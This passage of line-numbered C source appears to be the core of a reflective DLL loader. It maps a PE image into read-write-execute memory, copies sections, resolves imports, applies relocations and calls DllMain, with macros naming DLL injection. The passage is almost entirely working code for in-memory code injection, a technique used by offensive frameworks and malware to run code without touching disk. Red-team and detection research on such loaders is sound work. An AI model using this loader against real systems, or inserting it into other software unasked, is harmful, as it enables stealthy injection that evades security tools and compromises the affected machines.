((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 269 | 270 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 271 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 272 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 273 | 274 | // we must now copy over the headers 275 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 276 | uiValueB = uiLibraryAddress; 277 | uiValueC = uiBaseAddress; 278 | 279 | while( uiValueA-- ) 280 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 281 | 282 | // STEP 3: load in all of our sections... 283 | 284 | // uiValueA = the VA of the first section 285 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 286 | 287 | // itterate through all sections, loading them into memory. 288 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 289 | while( uiValueE-- ) 290 | { 291 | // uiValueB is the VA for this section 292 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 293 | 294 | // uiValueC if the VA for this sections data 295 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 296 | 297 | // copy the section over 298 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 299 | 300 | while( uiValueD-- ) 301 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 302 | 303 | // get the VA of the next section 304 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 305 | } 306 | 307 | // STEP 4: process our images import table... 308 | 309 | // uiValueB = the address of the import directory 310 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 311 | 312 | // we assume their is an import table to process 313 | // uiValueC is the first entry in the import table 314 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 315 | 316 | // itterate through all imports 317 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 318 | { 319 | // use LoadLibraryA to load the imported module into memory 320 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 321 | 322 | // uiValueD = VA of the OriginalFirstThunk 323 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 324 | 325 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 326 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 327 | 328 | // itterate through all imported functions, importing by ordinal if no name present 329 | while( DEREF(uiValueA) ) 330 | { 331 | // sanity check uiValueD as some compilers only import by FirstThunk 332 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 333 | { 334 | // get the VA of the modules NT Header 335 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 336 | 337 | // uiNameArray = the address of the modules export directory entry 338 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 339 | 340 | // get the VA of the export directory 341 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 342 | 343 | // get the VA for the array of addresses 344 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 345 | 346 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 347 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 348 | 349 | // patch in the address for this imported function 350 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 351 | } 352 | else 353 | { 354 | // get the VA of this functions import by name struct 355 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 356 | 357 | // use GetProcAddress and patch in the address for this imported function 358 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 359 | } 360 | // get the next imported function 361 | uiValueA += sizeof( ULONG_PTR ); 362 | if( uiValueD ) 363 | uiValueD += sizeof( ULONG_PTR ); 364 | } 365 | 366 | // get the next import 367 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 368 | } 369 | 370 | // STEP 5: process all of our images relocations... 371 | 372 | // calculate the base address delta and perform relocations (even if we load at desired image base) 373 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 374 | 375 | // uiValueB = the address of the relocation directory 376 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 377 | 378 | // check if their are any relocations present 379 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 380 | { 381 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 382 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 383 | 384 | // and we itterate through all entries... 385 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 386 | { 387 | // uiValueA = the VA for this relocation block 388 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 389 | 390 | // uiValueB = number of entries in this relocation block 391 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 392 | 393 | // uiValueD is now the first entry in the current relocation block 394 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 395 | 396 | // we itterate through all the entries in the current block... 397 | while( uiValueB-- ) 398 | { 399 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 400 | // we dont use a switch statement to avoid the compiler building a jump table 401 | // which would not be very position independent! 402 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 403 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 404 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 405 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 406 | #ifdef WIN_ARM 407 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 408 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 409 | { 410 | register DWORD dwInstruction; 411 | register DWORD dwAddress; 412 | register WORD wImm; 413 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 414 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 415 | // flip the words to get the instruction as expected 416 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 417 | // sanity chack we are processing a MOV instruction... 418 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 419 | { 420 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 421 | wImm = (WORD)( dwInstruction & 0x000000FF); 422 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 423 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 424 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 425 | // apply the relocation to the target address 426 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 427 | // now create a new instruction with the same opcode and register param. 428 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 429 | // patch in the relocated address... 430 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 431 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 432 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 433 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 434 | // now flip the instructions words and patch back into the code... 435 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 436 | } 437 | } 438 | #endif 439 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 440 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 441 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 442 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 443 | 444 | // get the next entry in the current relocation block 445 | uiValueD += sizeof( IMAGE_RELOC ); 446 | } 447 | 448 | // get the next entry in the relocation directory 449 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 450 | } 451 | } 452 | 453 | // STEP 6: call our images entry point 454 | 455 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 456 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 457 | 458 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 459 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 460 | 461 | // call our respective entry point, fudging our hInstance value 462 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 463 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 464 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 465 | #else 466 | // if we are injecting an DLL via a stub we call DllMain with no parameter 467 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 468 | #endif 469 | 470 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 471 | return uiValueA; 472 | } 473 | //===============================================================================================// 474 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 475 | 476 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 477 | { 478 | BOOL bReturnValue = TRUE; 479 | switch( dwReason ) 480 | { 481 | case DLL_QUERY_HMODULE: 482 | if( lpReserved != NULL ) 483 | *(HMODULE *)lpReserved = hAppInstance; 484 | break; 485 | case DLL_PROCESS_ATTACH: 486 | hAppInstance = hinstDLL; 487 | break; 488 | case DLL_PROCESS_DETACH: 489 | case DLL_THREAD_ATTACH: 490 | case DLL_THREAD_DETACH: 491 | break; 492 | } 493 | return bReturnValue; 494 | } 495 | 496 | #endif 497 | //===============================================================================================// --------------------------------------------------------------------------------